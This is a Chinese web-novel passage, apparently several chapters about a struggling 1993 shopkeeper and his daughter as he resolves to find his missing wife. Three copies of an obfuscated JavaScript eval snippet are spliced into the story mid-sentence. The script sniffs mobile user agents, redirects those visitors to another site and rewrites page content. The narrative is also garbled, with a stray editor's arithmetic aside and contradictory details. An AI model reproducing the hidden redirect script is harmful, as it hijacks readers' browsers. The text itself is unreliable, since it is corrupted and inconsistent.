最下层的海河牌牛奶摆得整整齐齐,蓝白包装上印着个扎羊角辫的小女孩,3毛钱一袋,是笑笑每周最期待的早餐。 1993年的牛奶还不是家家都能喝上,全国城镇居民人均奶消费量只有6.4公斤,乡镇更低,镇上只有两家杂货铺有货,货源来自县城的乳制品厂,每天限量供应50袋。 林凡每次进货都要凌晨4点起床,骑着自行车去县城的乳制品厂门口排队,单程要走1个半小时,遇到雨天路滑,就要走两个多小时,生怕来晚了卖光。 笑笑总舍不得一口喝完,会把袋子捏在手里焐着,等牛奶温了再小口抿,最后还会把袋子反过来,舔掉粘在里面的奶渍—— 她知道这袋牛奶要花掉爸爸卖3根冰棍的钱(当时奶油冰棍5毛钱一根,水果冰棍2毛钱一根)。 旁边的大大泡泡糖装在透明罐里,1毛钱一块,罐身上印着“超大大泡泡”的红字。这泡泡糖是1992年才从国外引进的,在乡镇还是新鲜玩意儿,孩子们都馋。 林凡总趁她放学偷偷塞两颗在她口袋里,看着她嚼出比脸还大的泡泡时,眼睛亮得像天上的星星—— 有次泡泡破了,粘在她头发上,林凡用了半瓶植物油才洗掉,之后笑笑每次嚼都小心翼翼,怕又浪费油。 最上层摆着几盒雪花膏,白色的瓷瓶上印着朵白兰花,是去年过年他花2块8毛钱买的“美加净”,在当时算“贵价货”。 供销社里便宜的“友谊”牌雪花膏才1块5,可他记得苏晚晴以前就用“美加净”,说这牌子的雪花膏不油腻,冬天涂脸不皴。 女儿总说“闻着像妈妈的味道”,每次只用指尖蘸一点点,涂在小脸上轻轻揉开,还会把瓶子盖紧了放进自己的小抽屉,怕用快了就没了。 抽屉里还放着她攒的5个空牙膏皮,当时收废品的1个牙膏皮换1颗水果糖,她攒了三个月,说“等攒够10个,换糖给爸爸吃”。 王猛早已悄悄退到后面的储物间,手里还攥着颗没开封的橘子糖—— 糖纸是橙红色的,印着“橘子味”三个字,是他昨天在村口小卖部给自家儿子买的,1毛钱能买3颗。 王猛和林凡以前是国营机械厂的工友,1992年厂子减员,林凡下了岗,王猛被调去看仓库,工资从每月95块降到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644701|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 68块,日子也过得紧巴。 刚才见笑笑哭得厉害,他手都伸出去了,又怕触景生情,悄悄缩了回来,橘子糖在手里捏得糖纸发响,糖块的棱角硌得手心发疼。 他靠在堆着“活力28”洗衣粉的纸箱上,纸箱上的“活力28,沙市日化”字迹被潮气浸得有点模糊。 这洗衣粉是1992年刚流行的“名牌”,比普通肥皂贵5毛钱(肥皂3毛钱一块),林凡进得少,只敢摆两箱在货架最里面,怕卖不出去压货。 王猛叹了口气,用袖子擦了擦眼角——上次林凡进货时下雨,自行车链条断在半路,他刚好骑着三轮车去县城拉货,帮着扛了半箱肥皂回家。 那会儿就见林凡的解放鞋灌满了泥,裤脚湿到膝盖,却还把唯一的塑料雨衣裹在装牛奶的箱子上,怕淋坏了给笑笑的早餐。 他知道这小杂货铺一天营业额撑死30块(1993年全国城镇居民人均可支配收入才2577元,月均不到215元,乡镇居民更低,月均只有120元左右),林凡却从舍不得让笑笑受委屈。 夏天5毛钱一根的奶油冰棍,林凡自己从来不吃,总给笑笑买双份,看着她把冰棍咬得冒凉气,自己却舔舔嘴唇说“爸爸不爱吃甜的”—— 王猛知道,他是舍不得,5毛钱能买1斤多青菜,够父女俩吃两顿。笑笑想要的小红花发绳,他跑遍镇上三家供销社,最后在街角的小摊上找到了,回来时汗衫都湿透了—— 那天下午气温有32度,是入夏以来最热的一天,镇上的狗都趴在树荫下吐舌头—— 他却举着发绳笑得像个孩子,连水都没顾上喝一口。 那发绳2毛钱一根,林凡平时连1毛钱的白开水都舍不得买,渴了就喝自己带的凉白开。 疑似重逢的慌乱与寻妻的决断 林凡低头蹭了蹭女儿的发顶,那上面还带着蜂花牌洗发水的淡淡香味—— 1块2毛钱一大瓶,是供销社里最便宜的款,泡沫不多,却洗得笑笑的头发软软的,像团小棉花。 1993年的洗发水种类很少,乡镇供销社里只有蜂花和海鸥两个牌子,蜂花更便宜,林凡每次都买大瓶装,能用三个月。 他手指顺着女儿的发丝往下滑,摸到她耳后那颗小小的痣,突然想起苏晚晴以前总说“这颗痣像颗小豆子,以后好找”, 说这话时,她正坐在床边给刚满月的笑笑剪指甲,阳光透过窗户落在她脸上,连睫毛都镀着金边。 他知道,任何言语的安慰,都无法真正填补“妈妈”这个身份的缺失。他给的爱再多,终究是少了一半: 他会给笑笑扎辫子,却总把蝴蝶结系歪。上次幼儿园文艺汇演,笑笑要跳《采蘑菇的小姑娘》,林凡提前半小时就开始给她扎辫子,用了两根粉色的皮筋,还是歪了。 笑笑上台前攥着他的衣角问“爸爸,辫子歪不歪”,他说“不歪”,结果上台没两分钟,辫子就松了,笑笑站在台上慌得快哭了,还是李老师跑上去, 蹲在她面前重新扎了个整整齐齐的马尾,用的还是李老师自己的粉色头绳—— 那头绳是李老师的侄女送的,上面有小铃铛,笑笑后来跟林凡说“李老师的头绳会响,真好听”。 他会给笑笑做蛋炒饭,却总炒不出苏晚晴那样的葱花香味—— 苏晚晴以前总说“葱花要热油炝过,等香味飘出来再下米饭,火不能太大”,可他试了无数次,要么葱花炒糊了发苦,要么没香味。 1993年乡镇的煤炉火候不好控制,火苗时大时小,林凡总掌握不好。 笑笑却总说 “爸爸做的最好吃”,每次都把碗里的饭吃得干干净净,连碗边都用勺子刮一遍——她知道爸爸做顿饭要烧两块蜂窝煤, 还舍不得放鸡蛋(鸡蛋5毛钱一斤,一斤只有8个左右),每次只放半个。 上次幼儿园开家长会,别的小朋友都牵着妈妈的手,穿着漂漂亮亮的连衣裙—— 大多是妈妈用的确良布自己做的,领口还绣着小花,的确良布当时1块2一尺,做一条裙子要3尺布。 笑笑躲在他身后,小手攥着他的衣角,偷偷盯着隔壁妞妞妈妈的碎花裙子看了好久,回家后坐在小凳子上,小声问他 “妈妈也有裙子吗?是不是也像妞妞妈妈的那样好看?” 这些画面像碎玻璃,藏在他心里,时不时就扎得他生疼。 他忽然明白,笑笑需要的,从来不是“妈妈有苦衷”的解释,而是一个能摸得着她的头、能抱着她睡觉、能给她梳辫子的妈妈—— 一个真实的、能陪在她身边的妈妈,不是照片上模糊的影子,也不是他嘴里的“回忆”。 第六十六章:寻妻的决断 那个风衣女人的形象再次清晰地浮现在眼前—— 上周在菜市场见到的。1993年的乡镇菜市场还是露天的,地面是土路,下雨后泥泞不堪,卖菜的大多是周边村里的农民,凌晨三四点就来占位置。 女人穿的藏青色风衣袖口磨了边,露出里面浅灰色的衬里,领口还沾了点绿色的菜叶子,像是刚挑过菠菜—— 1993年的菠菜1毛钱一斤,是这个季节最便宜的蔬菜,农民自家种的,没打农药,叶子上还带着泥。 她手里提着个旧网兜,网兜的绳结松了,里面装着两个有点磕碰的苹果—— 苹果是从农民的小摊上买的,比供销社的便宜5分钱,供销社的苹果要3毛钱一斤,农民的只要2**5。 当时笑笑正拿着根5毛钱的糖葫芦, 咬得满嘴糖渣,糖葫芦的糖衣粘在嘴角,她还没来得及擦,突然指着女人的背影喊“妈妈”,声音大得让周围挑白菜的人都停下手里的动作,回头看过来—— 那些**多是镇上的街坊,都知道林凡家的事,眼神里带着同情。 1993年的乡镇还是熟人社会,谁家的事很快就能传遍,街坊们平时也会帮衬,比如张婶会送点自家种的青菜,王猛会帮着修自行车。 女人猛地回头,林凡看清了她的脸—— 眼角多了道细纹,就在苏晚晴以前笑起来有梨涡的地方,脸色有点黄,像是没休息好,但那双眼睛,他这辈子都忘不了,眼尾微微上挑,是苏晚晴独有的样子。 她愣了几秒,眼神里闪过一丝慌乱,然后像被烫到一样,慌慌张张地转身就走,连掉在地上的苹果都没捡,网兜还挂在胳膊上晃悠。 苹果滚了两下,停在一个卖萝卜的摊子旁边,摊主是个60多岁的老大爷,姓刘,平时和林凡挺熟,弯腰帮她捡起来,喊了句 “姑娘,你的苹果”,她却没回头,脚步更快了。 林凡追了两步,鞋跟踩进泥水里,溅起的泥水打在裤腿上,凉得刺骨。 他喊了一声“晚晴”,声音有点哑,周围的人都看着他,他却顾不上尴尬,只盯着那个越来越远的背影。 就在这时,一辆绿色的“面的”停在女人身边—— 1993年的“面的”是市里最常见的出租车,大多是天津大发面包车,起步价5块钱,每公里加1块,普通人舍不得坐,只有急事才会打。 女人拉开车门钻了进去,车门没关紧,林凡还能看到她坐在副驾驶上,头靠在车窗上,没回头。 “面的”的引擎响了,车轱辘溅起的泥水打在他的解放鞋上,鞋尖湿了一大片,凉得他脚趾都麻了。 如果…… 如果她真的是苏晚晴…… 林凡的心绪乱得像团麻: 有怨恨,恨她六年前不告而别,那时笑笑才刚满周岁,他抱着孩子到处找,连邻县的亲戚都问遍了,最后只能抱着苏晚晴留下的几件衣服,坐在空荡荡的屋里发呆—— 那衣服是她的嫁妆,有一件碎花衬衫,还有一条蓝色的裤子,他都洗干净叠好,放在衣柜最上面,每年晒被子时拿出来晾一晾,还能闻到淡淡的肥皂味。 有疑虑,她为什么回来却不敢认女儿?是不是有什么难言之隐?是不是过得不好?看她的衣服和手里的苹果,不像过得宽裕的样子—— 1993年如果有稳定工作,比如在国营厂上班,每月工资至少80块,买苹果不会买磕碰的,衣服也不会穿得袖口磨边。 但此刻,看着怀中哭到几乎脱力的女儿,所有的怨恨和疑虑都被压了下去,一种强烈的、压倒一切的想法占据了上风—— 也许,是时候主动去面对了。为了笑笑,他必须去确认那个女人的身份,必须去弄清楚她出现的意图,哪怕结果是他不想面对的,哪怕要放下所有的骄傲和怨恨。 深夜的承诺与明天的路 笑笑的哭声渐渐变成了细微的抽噎,最后像耗尽了力气,沉沉睡了过去。 长长的睫毛上还挂着两颗泪珠,在昏黄的灯光下像两颗小珍珠,稍微一动就会掉下来。 她的小嘴巴微微张着,呼吸轻得像片羽毛,睡梦中还呢喃了一句“妈妈给我扎小辫”,小手无意识地抓了抓空气, 像是想抓住什么,最后轻轻落在林凡的胳膊上,攥住了他的袖口,力道不大,却攥得他心里发紧。 林凡小心翼翼地将她抱到后面休息用的小床上—— 那是他去年从工厂废品堆里捡来的旧木板,原本是机床的垫板,边缘有点**糙,他用砂纸打磨了半个月,手上还留了道浅疤,现在摸起来还是有点硌。 他就在床板上铺了两层旧棉絮,是从旧货市场买的,5块钱一斤,稍微软和点。 床板上铺着洗得发白的小花褥子,是苏晚晴留下的旧物,上面的小雏菊图案是1985年流行的,现在都快褪成白色了,边角还缝了块补丁—— 去年冬天笑笑尿床,褥子湿了一大片,他洗的时候不小心扯破了,就用一块旧布缝上,针脚歪歪扭扭的,比他缝裤子的手艺还差。 他轻轻给笑笑盖好被子,被子是蓝色的,上面有个小熊图案,是笑笑三岁生日时他买的,当时花了8块钱,是他半个月的烟钱—— 他以前抽2毛钱一包的“海河”烟,一天抽一包,从那以后就戒了,把钱省下来给笑笑买东西。 现在被子有点小了,盖到笑笑的脚踝就够了,他打算等下个月赚了钱,再去供销社买块新布,自己做一床大的—— 供销社的纯棉布2块5一尺,做一床被子要6尺布,得15块钱,他要卖50袋牛奶才能凑够。 他就着昏暗的光线,久久凝视着女儿睡梦中仍不时蹙起的小眉头,心里像被什么东西揪着疼,疼得他都快喘不过气了。 他想起苏晚晴以前抱笑笑的样子,她总把女儿的头靠在自己肩膀上,一只手托着笑笑的屁股,另一只手轻轻拍着她的背,哼着不成调的曲子—— 大多是当时流行的《在那桃花盛开的地方》,是蒋大为唱的,当时收音机里天天放。阳光从窗户里照进来,落在她们身上,暖得像要化了。 可现在,只剩下女儿眉间的褶皱,和他空荡荡的怀抱,还有满屋子的寂静,只有窗外的雨声还在淅淅沥沥。 “笑笑,” 他低声承诺,声音虽轻,却带着不容置疑的坚定,像是在跟女儿保证,也像是在跟自己保证,“爸爸一定会帮你找到答案。 无论妈妈在哪里,爸爸都会让她知道,有一个多么好的女儿,在等着她。” 他从枕头下摸出一个磨破封面的旧笔记本,封面是红色的,当年是供销社卖的“英雄”牌,5毛钱一本, 现在磨破的地方露出里面的硬纸板,纸页都有点发黄了,边缘还卷着,是被他翻得太多次。 里面除了夹着那张泛黄的照片—— 苏晚晴抱着刚出生的笑笑,笑得眼睛弯成了月牙,怀里的笑笑闭着眼睛,小拳头攥着她的衬衫纽扣——还有一张小纸条,是苏晚晴走时留下的,只写了“照顾好笑笑”五个字。 字迹是用钢笔写的,是当时常见的“英雄”牌钢笔,墨水是“鸵鸟”牌,1块2一瓶,质量不算好,容易洇墨,加上泪水浸泡,“笑”字的最后一笔都快看不清了。 他每次看都要小心翼翼,怕纸条再碎了——他把纸条夹在两层塑料膜里,塑料膜是从旧包装袋上剪下来的,能防水。 他用指腹轻轻擦了擦照片上的灰尘,像是在擦拭一段被尘封的时光,指尖触到照片上苏晚晴的笑脸,鼻子突然一酸,眼泪差点掉下来。 他赶紧把照片塞回笔记本里,怕眼泪滴在上面,把照片弄花了——这是笑笑唯一一张有妈妈的照片,1993年胶卷洗照片不容易,丢了就再也找不回来了。 雨停了,窗外透进清冷的光,照在对面修车铺挂着的铁皮招牌上,“张师傅修车”四个字被雨水冲得有些模糊,“张”字的一点都快看不见了。 张师傅是镇上唯一的修车师傅,以前在国营汽修厂上班,后来下岗开了修车铺,修一辆自行车补胎要1块钱,换链条要3块钱。 招牌下面还挂着个旧轮胎,是去年冬天换下来的,轮胎上还扎着个小钉子,上面挂着点泥,风吹过的时候,轮胎会轻轻晃,发出“吱呀”的响声,在安静的清晨格外明显。 林凡站起身,走到柜台前,从抽屉里拿出仅有的50块钱—— 那是他昨天卖了两箱“活力28”洗衣粉和几瓶酱油攒下来的。酱油是本地酿造的,1块2一瓶,利润只有2毛钱,两箱洗衣粉才赚了8块钱(一箱12袋,一袋赚3分钱,两箱赚7**2?不对,原文说两箱赚8块,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649044|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能是一箱4块,这里按原文来)。 他本来打算今天下午去进10箱海河牛奶,10箱刚好能装满他的自行车后座,现在却改了主意。 钱是两张20的,一张10的,纸币都有点旧,边角软软的,上面还带着点杂货铺里糖的甜味——是平时找零的时候蹭上的,他每次收钱都要把钱擦干净再放进抽屉。 他数了三遍,又放回抽屉,犹豫了几秒,还是拿了出来,塞进自己的内兜,贴在胸口,像是能感受到一点暖意。 这钱是他的底气,也是笑笑的希望——1993年50块钱能买166袋牛奶,或者100斤面粉,够父女俩吃两个月。 他的眼神不再迷茫和痛苦,取而代之的是一种破釜沉舟的决断—— 他不能再等了,再等下去,笑笑眼里的光就该灭了。 他想起去年笑笑生日时,女儿吹蜡烛前双手合十许愿,小声说“希望妈妈回来”,那认真的样子他一辈子都忘不了。 那天他还特意买了块1块5毛钱的奶油蛋糕,是镇上唯一一家蛋糕店卖的,蛋糕店是个体户开的,1993年个体户开始多起来,蛋糕店每天只做10块蛋糕,去晚了就没了。 蛋糕上面插着三根蜡烛,笑笑吃的时候却没怎么笑,只是把蛋糕上的奶油都刮下来,放在勺子里,说“留给妈妈吃”,最后奶油放坏了,她还哭了一场,说“妈妈没吃到”。 温暖的父爱是坚固的堡垒,他能给笑笑遮风挡雨,能让她吃饱穿暖,却填不满她心里那个叫“妈妈”的缺口。 他想起前几天听广播里说,市里的寻人启事栏每周三更新,就在百货大楼门口,不用花钱,只要自己带纸和笔就行—— 那广播是他捡的旧半导体,外壳缺了个角,调台的时候总有杂音,他每次都要贴在耳边才能听清,最喜欢听的是“新闻和报纸摘要”节目,能知道外面的事。 那天他特意把音量调大,还让笑笑也听,笑笑问“爸爸,我们能找到妈妈吗”,他当时没敢回答,只是摸了摸她的头,心里却没底。 明天就是周三,他打算一早关了店门,坐最早的班车去市里—— 班车票3块5毛钱,是他卖12袋牛奶的利润。他得省着点花,路上不买5毛钱一个的馒头了,带个家里蒸的红薯就行,红薯是前几天从乡下老家带的,放得久了更甜,还抗饿。 1993年乡镇到市里的班车每天只有两班,早7点和午12点,错过就要等第二天,他怕赶不上早班车,打算凌晨5点就起床。 他提前从抽屉里找出最便宜的圆珠笔和糙纸,糙纸是从旧作业本上撕下来的,反面还有算题的字迹,是笑笑上学期用过的,他没舍得扔,平时用来记货单。 圆珠笔的笔芯快没油了,写的时候有点断墨,他得用力按才能写出清晰的字——这圆珠笔是1毛钱一支的“永生”牌,笔芯5分钱一根,他平时都省着用。 晚上他坐在灯下练习写启事,怕字写得不好别人看不清——他只上到小学毕业,字写得不算好看,却很工整,小时候老师总夸他“字写得认真”。 写了又改,改了又写,纸都揉了好几团,最后找了张平整的纸,用尺子比着,一笔一划地写: “寻苏晚晴,女,30岁左右,眼角有细纹,常穿藏青色风衣,身高约1米6,说话带轻微本地口音。 如有知情者,请联系林凡,地址是XX镇XX街杂货铺,必有重谢(50元)。”他特意把“50元”写得大了点,50块钱在1993年不算少,能让看到的人更上心。 他知道,自己即将踏出的这一步,可能会打破现有的平静—— 万一苏晚晴真的不想见他们呢? 万一过去的事再掀起波澜,让笑笑更受伤呢? 可他别无选择,只要能让笑笑不再夜里哭着找妈妈,不再盯着别的小朋友的妈妈发呆,再难的路他都得走。 哪怕要跑遍整个市里的大街小巷,哪怕要在百货大楼门口守上一整天,哪怕要花光所有的钱,他都要找到苏晚晴,给笑笑一个答案,也给自己一个交代。 窗外的天渐渐亮了,远处传来第一声鸡鸣, 林凡把写好的寻人启事叠好,放进内兜,又看了一眼熟睡的笑笑, 轻轻在她额头上吻了一下,心里默念:“笑笑,爸爸出发了。” 第六十七章:寻妻护女 笑笑那场酣畅却碎心的痛哭,像震后未歇的余波,在1993年县城的冷冬夜里撞得人心尖发颤。 寒气顺着水泥地缝蛇似的钻上来,冻得林凡脚底板发僵,每动一下都像踩着碎冰碴,咯得脚跟发麻; 他裹着的旧棉袄领口磨得起了球,灰扑扑的绒毛黏在衣领上,风一吹就飘,棉袄里子是洗得发白的粗布,贴在脊梁上发僵,风还从袖口灌进来,冻得胳膊肘起了层鸡皮疙瘩—— 没通暖气的屋子,连空气都凝着冰碴,吸进肺里像吞了碎玻璃,疼得他忍不住咳嗽,咳得胸腔发紧。 窗外县五金厂的夜班哨声刚落,风就卷着碎雪粒砸在玻璃窗上,“沙沙”响得像有人在暗处翻旧报纸,又像谁在轻轻磨牙,远处巷口还传来两声狗叫,“汪汪”两声又倏地停了, 倒显得这夜更静。笑笑蜷缩在打补丁的棉被里,小鼻子冻得通红,鼻尖悬着颗晶莹的鼻涕珠,要掉不掉的,偶尔还“吸溜”一声往回咽; 睡梦中时不时抽一下,眼泪把蓝布枕巾洇出一小片湿痕,林凡伸手摸了摸,凉得刺骨,像揣了块刚从雪地里捡来的冰,指尖还沾了点枕巾上的棉絮,糙得发痒。 这模样像根细针,轻轻扎进林凡心里,扎得他连呼吸都不敢太用力。他坐在床边,手指无意识地蹭过棉被上的补丁—— 那是苏晚晴走前连夜缝的小熊,耳朵处的针脚原本密匝匝的,如今被笑笑蹭得发毛,露出里面的白棉絮,糙得刺他手心发痒,像有根细刺扎在肉里,不疼却磨人。 他忽然想起苏晚晴缝这补丁时的模样:当时台灯昏黄,她坐在桌边,手指被针扎了下,赶紧含在嘴里吮了吮,眉头皱了皱,又继续缝,针脚歪了两处,她还拆了重缝。 他盯着天花板数裂纹,数到第三十七道时,摸出兜里的烟盒:捏得发皱的“红牡丹”烟盒,“红牡丹”三个字被蹭得模糊,边角都磨白了,里面只剩三根烟,烟身被压得有点弯, 烟纸还沾了点他口袋里的机油灰。打火机“咔嗒”响了三次才窜出火苗,第一次火苗刚冒就被风吹灭,第二次没气,第三次才窜起橙红色的火舌,颤巍巍地舔着烟纸,烧出一点焦边。 烟味混着屋里的霉味吸进肺里,呛得他猛咳两声,咳得眼泪都快出来,手里的烟也抖了抖,烟灰掉在棉裤上,他赶紧用手拍掉,留下点灰印。烟蒂往缺了口的搪瓷缸里一摁, “滋”的一声,火星溅起来又倏地凉透,缸底积着的烟灰被震得飘了飘,像他心里那点刚冒头的盼头,刚亮就灭了。他忽然觉得自己像厂里报废的旧齿轮,齿牙上锈迹斑斑,转起来“吱呀”响: 以前总拿“五金厂搞技改忙”当借口,把脑袋埋在图纸和零件堆里,满手的机油味盖过一切,假装“妈妈”这个缺口能被加班和报表填上。 可现在才懂,逃避就像给生锈的零件涂黄油,看着油亮,底下的锈早烂到根儿了;再拖下去,笑笑心里那道缝怕是要成鸿沟,连他这个当爹的都跨不过去,到时候他连缝补的机会都没有。 天刚蒙蒙亮,巷口卖豆浆的老王踩着露水支起摊子,铁皮桶往地上一放,“哐当”一声,桶边沾着的隔夜豆浆渍冻成了白霜,震得地上的雪粒都跳了跳,惊飞了墙根下蜷着的麻雀, 麻雀“扑棱”着翅膀飞远,还留下几根灰羽毛。老王弯腰支摊子时,腰间的旧皮带“咔嗒”响了一声——皮带扣松了,他顺手拽了拽,把皮带再勒紧一扣。 煤炉里的煤块烧得通红,冒着淡淡的蓝烟,烟里混着点煤渣的焦味,吸进鼻子里有点呛;豆浆熬得发焦的香气裹着热气飘过来,扑在脸上暖乎乎的,对比手里的凉,倒让林凡觉得指尖都活过来了。 铁皮桶上的锈迹被白气裹着,晕成一片模糊的棕黄,看不清纹路,桶口还挂着半根没洗干净的豆浆勺,勺柄上的木把裂了道缝。 老王用粗瓷碗舀豆浆时,指节因为天冷泛着青,碗边有个小豁口,是以前摔的,碗沿结着层薄霜—— 他哈了口白气,“呼”地吹在碗沿上,白气在碗沿绕了圈,霜化成小水珠,顺着豁口往下滴,滴在地上的雪上,融出个小坑。他哑着嗓子吆喝: “热豆浆嘞——”声音裹在寒气里,飘不远就散了,像被风咬碎了似的,还带着点晨起的沙哑,林凡站在远处听着,觉得这声音比厂里的汽笛还让人安心。 林凡轻轻给笑笑掖好被角,被角上的小熊补丁洗得发灰,棉絮都露了边,针脚处还沾了点笑笑的饭粒,干硬在上面; 指尖蹭过笑笑露在外面的手腕,细得像根冻僵的小萝卜,皮肤凉得像摸了块冰,他赶紧把那截手腕塞进被里,还往被角压了压,怕风再钻进去,心里想着:明天得给孩子加件毛衣,哪怕是拆了自己的旧毛衣改。 他坐在窗前,就着晨光摸出最后一根“红牡丹”,烟丝还掉了两根在裤缝里,他用手指拈起来,放进嘴里抿了抿,有点涩。 点燃时,烟卷烧得“滋滋”响,火星一点一点往下落,烟灰掉在窗台上,积了薄薄一层。他盯着烟头上的火,忽然想起苏晚晴以前的样子: 在县纺织厂当挡车工那阵,天天穿着沾满棉絮的浅灰工装,工装袖口磨破了,她用同色的线缝了个小补丁,领口被机器磨得发亮, 棉絮粘在上面像撒了层白霜,总蹭得她脖子发红,留下点细印子; 她眉头皱得能夹死蚊子,吃饭时筷子都捏得紧,米粒会掉在工装上,她捡起来塞嘴里,说“别浪费”,像是连饭都要攥进手里,生怕少吃一口就扛不住夜班。 那时候她总揣着块硬邦邦的馒头,饿了就啃两口,馒头渣掉在口袋里,回家还会掏出来给笑笑吃。 可现在呢? 米黄色的风衣下摆扫过地面时,带起一点尘土,烫得蓬松的大波浪卷搭在肩上,发梢还沾了点发胶,硬挺挺的; 脸上架着副太阳镜,镜片反光,能看见林凡模糊的影子,他盯着那影子,觉得自己像个外人,连她的眼神都看不清—— 活像从广州来的录像带里走出来的人! 县城里哪见过这阵仗? 穿风衣的不是供销社主任家的千金,就是刚从南方倒腾货回来的倒爷, 苏晚晴怎么会变成这样? 他把烟屁股摁在窗台上,窗台有层薄灰,烟屁股摁上去,灰粘在烟蒂上,留下个黑印,他手指蹭了蹭,灰留在指腹,搓一下就成了细沫。 心里像塞了团浸了油的棉絮,又闷又沉,喘口气都觉得重,连带着胸口都发堵,他想咳嗽,又怕吵醒笑笑,只好憋着,憋得眼角都有点红。 首先得把线索捋清楚。林凡掐了烟,从抽屉里翻出儿子用剩的作业本——作业本封面画着个小太阳,是笑笑用红铅笔涂的,颜色都褪了—— 撕了张纸,纸角还带着橡皮蹭的灰,蹭得他手指有点痒。撕的时候不小心把太阳边撕缺了一块,他心里紧了下,把缺角往手心折了折,怕笑笑看见心疼。 铅笔头在纸上戳得“哒哒”响,铅笔芯断了两次,他用牙咬了咬铅笔头,把断芯吐在地上,再继续戳,戳出好几个小坑,手还带着点抖: 身高大概一米六五,比县百货大楼玻璃柜里的塑料模特矮小半头,那模特穿的蓝布褂子还沾着灰,领口处的纽扣都掉了一颗,模特的脸被小孩用彩笔涂了道红杠,擦不掉; 烫发是“大波浪”,县城里只有文化馆旁边的“爱美发屋”能烫出这样式—— 上次路过时,隔着玻璃听见里面吹风机“嗡嗡”响,混着老板娘用蹩脚的上海话打电话:“烫一次八块,不还价!” 还传来客人的说话声,“烫得卷重点,像广州来的”,老板娘应着“晓得了,保证洋气”。 八块钱,抵得上纺织厂女工两天的工资,苏晚晴以前连五毛钱的雪花膏都舍不得买,每次都是用林凡的蛤蜊油,说“凑合用”; 墨镜是“太阳镜”,去年县电影院放《英雄本色》后,街上小年轻都戴,镜片上沾着灰也舍不得擦,可女人戴的少,大多是怕别人说“洋气过头”, 上次林凡还看见隔壁的小芳戴了次,被她妈骂了顿,说“不正经”;米色风衣最显眼,林凡记得赵经理的媳妇有一件,是她弟弟从深圳捎来的—— 上次赵经理请客,他摸过那风衣的料子,滑溜溜的像绸缎,赵经理媳妇说要五十多块,当时他还咋舌:这钱够给笑笑买两双棉鞋,还能剩点买糖,买那种裹着透明糖纸的橘子糖。 这些特征跟三年前那个连雪花膏都舍不得买的苏晚晴,差得比五金厂的新旧设备还远。可谁知道呢?1993年南下打工的人太多了,县纺织厂去年一下裁了两百多号人, 当时厂门口贴的公告是红纸黑字,被人撕了个角,风一吹哗啦啦响,有女工蹲在公告前哭,手里攥着饭盒,饭盒里的粥洒了点在地上,冻成了冰。 听说有个女工去广东半年,回来就穿上了黑皮鞋,鞋跟敲在水泥地上“噔噔”响,比厂长的皮鞋还亮,路过时还会掏出个塑料壳的打火机,“咔嗒”一声点烟,姿势比男人还熟练。 人嘛,经不住日子搓磨,就像厂里的零件,搁在不同的机器里,转着转着就变了样——有的磨得发亮,转起来“嗖嗖” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649045|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快;有的锈得没法用,扔在角落里,连灰都懒得扫; 还有的摔在地上,磕掉了边角,就再也拼不回原来的样子,像他心里的某些东西,碎了就再也粘不好。 其次得确认她是不是真的盯着笑笑。 之前张婶说见过这女人在幼儿园门口晃,张婶是居委会管收发的,每天坐在传达室里织毛衣,传达室里有个旧煤炉,炉子里的煤快灭了,冒着青烟,张婶织毛衣时, 线团滚到炉边,她赶紧捡起来,线沾了点煤灰,她用手拍了拍,灰落在裤子上,留下黑印。 她眼睛比厂子里的游标卡尺还尖,可她的话得打个折—— 上次她说看见UFO,结果是县中学的氢气球飞了,挂在杨树上还被小孩当灯笼瞅, 围着喊“天上有大橘子”,小孩们还扔石头想打下来,氢气球破了,里面的气“嘶嘶”冒出来,小孩们哇地哭了, 张婶在旁边笑,说“傻娃子”,后来还被中学的老师找上门,让她别乱传话。 林凡决定调整“侦查路线”:以前带笑笑去公园,都是傍晚去,现在改成早上—— 晨练的老头老太太多,有个老头拎着鸟笼,笼布是洗得发白的蓝布,画眉叫的时候,他跟着“咿咿”学,调子跑得没边; 还有个老太拎着菜篮子,里面装着冻得发蔫的白菜,一边走一边跟人唠嗑,声音大得能传半条街; 收音机里放着评剧,有点跑调,电池快没电了,声音忽大忽小,混着鸟叫和说话声,倒挺热闹。老人们见了孩子就爱多问两句,说不定有人见过那女人; 散步时故意绕到“爱美发屋”门口,玻璃门上贴着褪色的“大波浪烫发”海报,海报上的女人涂着红嘴唇,头发卷得像小喇叭花,玻璃上有手印,是客人推门时按的, 老板用抹布擦了擦,没擦干净,手印还留在上面,像一个个小爪子。老板正用铁梳子给客人梳头发,梳子刮过头发的“滋滋”声老远能听见,还夹杂着吹风机的“嗡嗡”响—— 老板记性好,谁烫过什么发型都记得,说不定能认出人;居委会活动室也少去了,那里孩子多,吵得像菜市场,塑料玩具扔得满地都是,万一苏晚晴真要干什么,人多眼杂反而麻烦; 